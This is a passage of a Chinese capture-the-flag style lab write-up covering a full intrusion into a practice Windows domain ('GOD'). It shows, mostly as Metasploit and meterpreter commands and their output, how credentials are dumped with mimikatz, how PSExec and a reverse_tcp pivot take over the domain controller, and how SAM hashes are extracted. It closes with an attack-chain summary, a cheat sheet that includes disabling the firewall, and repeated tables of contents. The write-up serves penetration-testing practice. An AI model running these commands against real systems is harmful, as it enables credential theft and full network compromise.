Process 7704 created.
Channel 2 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001

C:\Windows\system32>net view /domain
net view /domain
Domain

-------------------------------------------------------------------------------
GOD
The command completed successfully.

C:\Windows\system32>net user /domain
net user /domain
The request will be processed at a domain controller for domain god.org.

System error 1355 has occurred.

The specified domain either does not exist or could not be contacted.


C:\Windows\system32>net group "domain admins" /domain
net group "domain admins" /domain
The request will be processed at a domain controller for domain god.org.

System error 1355 has occurred.

The specified domain either does not exist or could not be contacted.


C:\Windows\system32>net group "domain controllers" /domain
net group "domain controllers" /domain
The request will be processed at a domain controller for domain god.org.

System error 1355 has occurred.

The specified domain either does not exist or could not be contacted.


C:\Windows\system32>arp -a
arp -a

Interface: 169.254.129.186 --- 0x16
  Internet Address      Physical Address      Type
  169.254.255.255       ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static

Interface: 192.168.52.141 --- 0x18
  Internet Address      Physical Address      Type
  192.168.52.138        52-54-00-12-34-56     dynamic
  192.168.52.255        ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.255.250       01-00-5e-7f-ff-fa     static

Interface: 192.168.242.97 --- 0x19
  Internet Address      Physical Address      Type
  192.168.242.168       52-54-00-12-34-57     dynamic
  192.168.242.255       ff-ff-ff-ff-ff-ff     static
  192.242.168.168       52-54-00-12-34-57     dynamic
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static

Interface: 10.0.2.15 --- 0x1a
  Internet Address      Physical Address      Type
  10.0.2.2              52-55-0a-00-02-02     dynamic
  10.0.2.3              52-55-0a-00-02-03     dynamic
  10.0.2.255            ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static

C:\Windows\system32>

ARP 表发现域控：

IP	说明
192.168.52.138	域控（OWA）
192.168.52.141	当前靶机（自己）

net user /domain 等命令报错 1355（DNS 无法联系域控），不影响后续渗透。

7.3 扫描域控端口

bash
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.52.138
set PORTS 445,135,139,80,3389
set THREADS 5
run

meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(scanner/portscan/tcp) > use auxiliary/scanner/portscan/tcp
msf auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.52.138
RHOSTS => 192.168.52.138
msf auxiliary(scanner/portscan/tcp) > set PORTS 445,135,139,80,3389
PORTS => 445,135,139,80,3389
msf auxiliary(scanner/portscan/tcp) > set THREADS 5
THREADS => 5
msf auxiliary(scanner/portscan/tcp) > run
[+] 192.168.52.138        - 192.168.52.138:80 - TCP OPEN
[+] 192.168.52.138        - 192.168.52.138:139 - TCP OPEN
[+] 192.168.52.138        - 192.168.52.138:135 - TCP OPEN
[+] 192.168.52.138        - 192.168.52.138:445 - TCP OPEN
[*] 192.168.52.138        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/portscan/tcp) >

7.4 抓取域凭据（Mimikatz/Kiwi）

域控 445 开放，可以用 PTH 打。但先需要域用户的凭据（本地哈希打不了域控）。

回到 Web 靶机 session，用 mimikatz 抓内存中的域密码：

bash
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
meterpreter > load kiwi
meterpreter > creds_all


msf exploit(windows/smb/psexec) > sessions -l

Active sessions
===============

  Id  Name  Type                     Information                 Connection
  --  ----  ----                     -----------                 ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ STU1  192.168.93.128:33025 -> 192.168.242.97:5555 (192.168.
                                                                 242.97)

msf exploit(windows/smb/psexec) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username       Domain  LM                              NTLM                            SHA1
--------       ------  --                              ----                            ----
Administrator  GOD     edea194d76c77d875bab81ae20fa3c  ad8b1b80e5d43bd61ab6796242bc7d  ae185dd6f0857274ed77bab1eb98147
                       86                              aa                              3ddd8c5fd
STU1$          GOD                                     48cbcc1da42a20b412595706a64701  0f8ad011cf16f02ea14e186df659528
                                                       fb                              2800fce26
liukaifeng01   STU1    edea194d76c77d875bab81ae20fa3c  ad8b1b80e5d43bd61ab6796242bc7d  ae185dd6f0857274ed77bab1eb98147
                       86                              aa                              3ddd8c5fd

wdigest credentials
===================

Username       Domain  Password
--------       ------  --------
(null)         (null)  (null)
Administrator  GOD     hongrisec@2025
STU1$          GOD     fe 86 7e 1e 3d 52 09 7d 44 15 5c 3c 4a 9e f2 1a ca dd 6f 67 68 2c d6 5e f4 c2 07 d3 79 21 46 02
                        9e 35 5d 52 a4 06 7c 51 32 42 11 c4 11 7f e2 96 07 c9 e1 4b 56 64 e9 72 94 1c 30 41 2a c1 c2 1
                       c ae b1 c5 ec e2 b6 6e e1 9a cc 29 06 4f db 7b 49 af a3 75 13 40 63 4f 73 d4 27 3e 24 f2 a7 8e
                       f5 c5 ed e6 6f 58 88 a9 d7 a6 fe 47 43 2b a5 8c 0f 23 bd 87 a4 e7 71 92 b1 6c bc e5 7d 54 df 87
                        37 e6 58 f3 d0 60 ba 41 3c 23 16 b1 8e 3e 78 01 84 56 86 3a 21 ee ec e2 86 09 58 78 0b dc be 5
                       1 79 ac 47 c4 87 e2 4c f1 7a c2 a6 0f b4 f5 89 c9 6b 91 fa d2 e0 89 39 9f 9a 16 7e 02 54 08 b1
                       6a 35 c4 6a 4f 04 59 44 05 b0 d9 f3 ed 93 dd 06 8d 2e f0 f0 71 38 0e 2f 53 af 82 ad 51 a9 7a f2
                        7f 36 28 cf d0 5f c5 a3 37 87 11 c4 5f 97 28 c6 b4 26
liukaifeng01   STU1    hongrisec@2025

tspkg credentials
=================

Username       Domain  Password
--------       ------  --------
Administrator  GOD     hongrisec@2025
liukaifeng01   STU1    hongrisec@2025

kerberos credentials
====================

Username       Domain   Password
--------       ------   --------
(null)         (null)   (null)
Administrator  GOD.ORG  hongrisec@2025
liukaifeng01   STU1     hongrisec@2025
stu1$          GOD.ORG  fe 86 7e 1e 3d 52 09 7d 44 15 5c 3c 4a 9e f2 1a ca dd 6f 67 68 2c d6 5e f4 c2 07 d3 79 21 46 0
                        2 9e 35 5d 52 a4 06 7c 51 32 42 11 c4 11 7f e2 96 07 c9 e1 4b 56 64 e9 72 94 1c 30 41 2a c1 c2
                         1c ae b1 c5 ec e2 b6 6e e1 9a cc 29 06 4f db 7b 49 af a3 75 13 40 63 4f 73 d4 27 3e 24 f2 a7
                        8e f5 c5 ed e6 6f 58 88 a9 d7 a6 fe 47 43 2b a5 8c 0f 23 bd 87 a4 e7 71 92 b1 6c bc e5 7d 54 d
                        f 87 37 e6 58 f3 d0 60 ba 41 3c 23 16 b1 8e 3e 78 01 84 56 86 3a 21 ee ec e2 86 09 58 78 0b dc
                         be 51 79 ac 47 c4 87 e2 4c f1 7a c2 a6 0f b4 f5 89 c9 6b 91 fa d2 e0 89 39 9f 9a 16 7e 02 54
                        08 b1 6a 35 c4 6a 4f 04 59 44 05 b0 d9 f3 ed 93 dd 06 8d 2e f0 f0 71 38 0e 2f 53 af 82 ad 51 a
                        9 7a f2 7f 36 28 cf d0 5f c5 a3 37 87 11 c4 5f 97 28 c6 b4 26


meterpreter >

抓到域管明文密码：

用户	域	密码	NTLM Hash
Administrator	GOD	hongrisec@2025	ad8b1b80e5d43bd61ab6796242bc7daa
liukaifeng01	STU1	hongrisec@2025	ad8b1b80e5d43bd61ab6796242bc7daa

7.5 PSExec 横向移动打域控

第一次尝试：bind_tcp（失败）

plain
1
2
3
4
5
6
7
8
use exploit/windows/smb/psexec
set RHOSTS 192.168.52.138
set SMBDomain GOD
set SMBUser Administrator
set SMBPass hongrisec@2025
set payload windows/meterpreter/bind_tcp
set LPORT 4446
run

bash
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

meterpreter > background
[*] Backgrounding session 1...
msf exploit(windows/smb/psexec) > use exploit/windows/smb/psexec
[*] Using configured payload windows/meterpreter/bind_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(windows/smb/psexec) > t RHOSTS 192.168.52.138
[-] Unknown command: t. Run the help command for more details.
msf exploit(windows/smb/psexec) > set RHOSTS 192.168.52.138
RHOSTS => 192.168.52.138
msf exploit(windows/smb/psexec) > set SMBDomain GOD
SMBDomain => GOD
msf exploit(windows/smb/psexec) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(windows/smb/psexec) > set SMBPass hongrisec@2025
SMBPass => hongrisec@2025
msf exploit(windows/smb/psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(windows/smb/psexec) > set LPORT 4446
LPORT => 4446
msf exploit(windows/smb/psexec) > run
^[[A[*] 192.168.52.138:445 - Connecting to the server...
[*] 192.168.52.138:445 - Authenticating to 192.168.52.138:445|GOD as user 'Administrator'...
[*] 192.168.52.138:445 - Selecting PowerShell target
[*] 192.168.52.138:445 - Executing the payload...
[+] 192.168.52.138:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 192.168.52.138:4446
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/psexec) >

认证成功但 bind handler 连不上，域控防火墙拦截了入站连接。

第二次尝试：通过 session 1 跳板 reverse_tcp（成功）

plain
1
2
3
4
5
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.52.141          # Web靶机的内网IP，域控回连到这里
set LPORT 4446
set AutoRunScript post/windows/manage/migrate
run

bash
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msf exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/smb/psexec) > set LHOST 192.168.52.141
LHOST => 192.168.52.141
msf exploit(windows/smb/psexec) > set LPORT 4446
LPORT => 4446
msf exploit(windows/smb/psexec) > set AutoRunScript post/windows/manage/migrate
AutoRunScript => post/windows/manage/migrate
msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.52.141:4446 via the meterpreter on session 1
[*] 192.168.52.138:445 - Connecting to the server...
[*] 192.168.52.138:445 - Authenticating to 192.168.52.138:445|GOD as user 'Administrator'...
[*] 192.168.52.138:445 - Selecting PowerShell target
[*] 192.168.52.138:445 - Executing the payload...
[+] 192.168.52.138:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (190534 bytes) to 192.168.52.138
[*] Session ID 2 (Local Pipe -> Remote Pipe via session 1) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against OWA (192.168.52.138)
[*] Current server process: powershell.exe (3012)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 2292
[+] Successfully migrated into process 2292
[*] Meterpreter session 2 opened (Local Pipe -> Remote Pipe via session 1) at 2026-03-07 23:11:47 -0500

meterpreter >

域控 SYSTEM 权限到手！

7.6 域控信息提取

bash
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : OWA
OS              : Windows Server 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : zh_CN
Domain          : GOD
Logged On Users : 3
Meterpreter     : x86/windows
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: Incorrect function.
meterpreter >
meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x86/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

[!] Loaded x86 Kiwi on an x64 architecture.

Success.
meterpreter > lsa_dump_sam
[+] Running as SYSTEM
[*] Dumping SAM
Domain : OWA
SysKey : 980de85005a72e9a8d7c401ee3d2363b
Local SID : S-1-5-21-3354508781-1135969212-349956095

SAMKey : abb3e1873f8377fc0d60f93f59de1790

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 2e8b24e00bd703e52cfe327a072006b0

RID  : 000001f5 (501)
User : Guest


meterpreter >

域控本地管理员哈希：

用户	NTLM Hash
Administrator	2e8b24e00bd703e52cfe327a072006b0

八、最终战果

8.1 Sessions

plain
1
2
3
4
Id  Type                     Info                        Target
--  ----                     ----                        ------
1   meterpreter x64/windows  SYSTEM @ STU1               192.168.242.97 (Web服务器)
2   meterpreter x86/windows  SYSTEM @ OWA                192.168.52.138 (域控)

8.2 获取的凭据汇总

用户	域	密码	NTLM Hash
Administrator	GOD (域管)	hongrisec@2025	ad8b1b80e5d43bd61ab6796242bc7daa
liukaifeng01	STU1 (本地)	hongrisec@2025	ad8b1b80e5d43bd61ab6796242bc7daa
Administrator	OWA (域控本地)	-	2e8b24e00bd703e52cfe327a072006b0

8.3 完整攻击链

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
phpMyAdmin 弱口令 (root/root)
        ↓
全局日志写 Webshell（绕过 secure-file-priv）
        ↓
蚁剑连接，获得 SYSTEM 权限
        ↓
上传 MSF bind_tcp 木马，正向连接上线（绕过靶机无法回连的限制）
        ↓
migrate 到 x64 进程 → hashdump 获取本地哈希
        ↓
load kiwi / creds_all 抓取域管明文密码 hongrisec@2025
        ↓
PSExec + reverse_tcp 通过 Web 服务器跳板横向移动
        ↓
域控 OWA SYSTEM 权限 → GOD 域全域沦陷

九、关键知识点总结

9.1 写 Webshell 的三种方式对比

方式	条件	能否动态修改	结果
INTO OUTFILE	受 `secure-file-priv` 限制	❌ 需改配置重启 MySQL	失败
全局日志写马	`general_log_file` 可控	✅ SQL 语句直接修改	成功
慢查询日志写马	`slow_query_log_file` 可控	✅ SQL 语句直接修改	成功

9.2 正向 vs 反向连接

类型	方向	适用场景
Reverse (反向)	靶机 → 攻击机	靶机能出网回连攻击机
Bind (正向)	攻击机 → 靶机	靶机不能出网，攻击机能到靶机

9.3 MSF 跳板技术

plain
1
2
run autoroute -s <内网网段>     # 添加路由，通过已控主机访问内网
set LHOST <已控主机内网IP>      # reverse payload 回连到跳板机（非攻击机）

9.4 Mimikatz 抓密码

plain
1
2
3
load kiwi         # 加载 mimikatz 模块
creds_all         # 抓所有凭据（明文+哈希）
lsa_dump_sam      # 导出 SAM 数据库

注意：如果 meterpreter 是 x86 运行在 x64 系统上，hashdump 可能失败，
需要 migrate 到 x64 进程后再操作。

9.5 Windows 防火墙命令

plain
1
2
netsh advfirewall show allprofile state      # 查看防火墙状态
netsh advfirewall set allprofiles state off   # 关闭防火墙（需管理员权限）

适用于 Windows Vista / Server 2008 及以上版本。XP 使用 netsh firewall。

红日1靶场（灵境平台）完整渗透记录#

一、环境信息#

1.1 网络拓扑#

1.2 机器信息#

1.3 灵境靶场开启#

二、网络连通性排障（重点）#

2.1 第一阶段：不同网段，直接不通#

2.2 第二阶段：同网段仍然不通#

2.3 第三阶段：扫描全网段，靶机不存在#

2.4 第四阶段：关键发现——Windows 能通，Kali 不能#

2.5 第五阶段：分析 Windows 网络#

2.6 第六阶段：解决方案——VMware 桥接到 LingJing#

思路#

遇到的问题#

解决：直接编辑 .vmx 文件#

配置网络#

验证#

最终网络拓扑#

2.7 网络不稳定的处理#

2.8 核心经验#

三、外网渗透：信息收集#

3.1 Nmap 端口扫描#

3.2 Dirsearch 目录爆破#

四、phpMyAdmin 提权 GetShell#

4.1 方法一：MySQL 全局日志写马（成功）#

开启全局日志#

设置日志记录地址#

植入 Webshell#

蚁剑连接#

发现备份文件#

4.2 方法二：慢查询日志写马#

查看慢查询权限#

开启慢查询日志#

设置慢查询日志路径#

查询慢查询阈值#

植入 Webshell#

蚁剑连接验证#

4.3 方法三：INTO OUTFILE 写马（失败）#

条件#

创建数据库和表#

执行导出（报错）#

INTO OUTFILE 写马条件#

4.4 MySQL 提权相关辅助操作#

查看数据目录#

查看用户权限#

查看写入权限#

读取文件#

4.5 确认系统权限#

五、内网渗透准备#

5.1 关闭目标靶机防火墙#

5.2 Cobalt Strike 4.7 上线尝试（因网络限制未成功）#

CS 部署#

创建监听器与生成 Payload#

CS 上线失败原因#

六、Metasploit 上线（bind_tcp 正向连接）#

6.1 为什么用 bind_tcp#

6.2 生成木马#

6.3 蚁剑上传并执行#

6.4 Kali 连接#

6.5 基础信息确认#

常用命令：#

七、内网渗透：拿下域控#

7.1 进程迁移与密码哈希提取#

7.2 内网信息收集#

添加内网路由#

域信息收集#

7.3 扫描域控端口#

7.4 抓取域凭据（Mimikatz/Kiwi）#

7.5 PSExec 横向移动打域控#

第一次尝试：bind_tcp（失败）#

第二次尝试：通过 session 1 跳板 reverse_tcp（成功）#

7.6 域控信息提取#

八、最终战果#

8.1 Sessions#

8.2 获取的凭据汇总#

8.3 完整攻击链#

九、关键知识点总结#

9.1 写 Webshell 的三种方式对比#

9.2 正向 vs 反向连接#

9.3 MSF 跳板技术#

红日1靶场（灵境平台）完整渗透记录

一、环境信息

1.1 网络拓扑

1.2 机器信息

1.3 灵境靶场开启

二、网络连通性排障（重点）

2.1 第一阶段：不同网段，直接不通

2.2 第二阶段：同网段仍然不通

2.3 第三阶段：扫描全网段，靶机不存在

2.4 第四阶段：关键发现——Windows 能通，Kali 不能

2.5 第五阶段：分析 Windows 网络

2.6 第六阶段：解决方案——VMware 桥接到 LingJing

思路

遇到的问题

解决：直接编辑 .vmx 文件

配置网络

验证

最终网络拓扑

2.7 网络不稳定的处理

2.8 核心经验

三、外网渗透：信息收集

3.1 Nmap 端口扫描

3.2 Dirsearch 目录爆破

四、phpMyAdmin 提权 GetShell

4.1 方法一：MySQL 全局日志写马（成功）

开启全局日志

设置日志记录地址

植入 Webshell

蚁剑连接

发现备份文件

4.2 方法二：慢查询日志写马

查看慢查询权限

开启慢查询日志

设置慢查询日志路径

查询慢查询阈值

植入 Webshell

蚁剑连接验证

4.3 方法三：INTO OUTFILE 写马（失败）

条件

创建数据库和表

执行导出（报错）

INTO OUTFILE 写马条件

4.4 MySQL 提权相关辅助操作

查看数据目录

查看用户权限

查看写入权限

读取文件

4.5 确认系统权限

五、内网渗透准备

5.1 关闭目标靶机防火墙

5.2 Cobalt Strike 4.7 上线尝试（因网络限制未成功）

CS 部署

创建监听器与生成 Payload

CS 上线失败原因

六、Metasploit 上线（bind_tcp 正向连接）

6.1 为什么用 bind_tcp

6.2 生成木马

6.3 蚁剑上传并执行

6.4 Kali 连接

6.5 基础信息确认

常用命令：

七、内网渗透：拿下域控

7.1 进程迁移与密码哈希提取

7.2 内网信息收集

添加内网路由

域信息收集

7.3 扫描域控端口

7.4 抓取域凭据（Mimikatz/Kiwi）

7.5 PSExec 横向移动打域控

第一次尝试：bind_tcp（失败）

第二次尝试：通过 session 1 跳板 reverse_tcp（成功）

7.6 域控信息提取

八、最终战果

8.1 Sessions

8.2 获取的凭据汇总

8.3 完整攻击链

九、关键知识点总结

9.1 写 Webshell 的三种方式对比

9.2 正向 vs 反向连接

9.3 MSF 跳板技术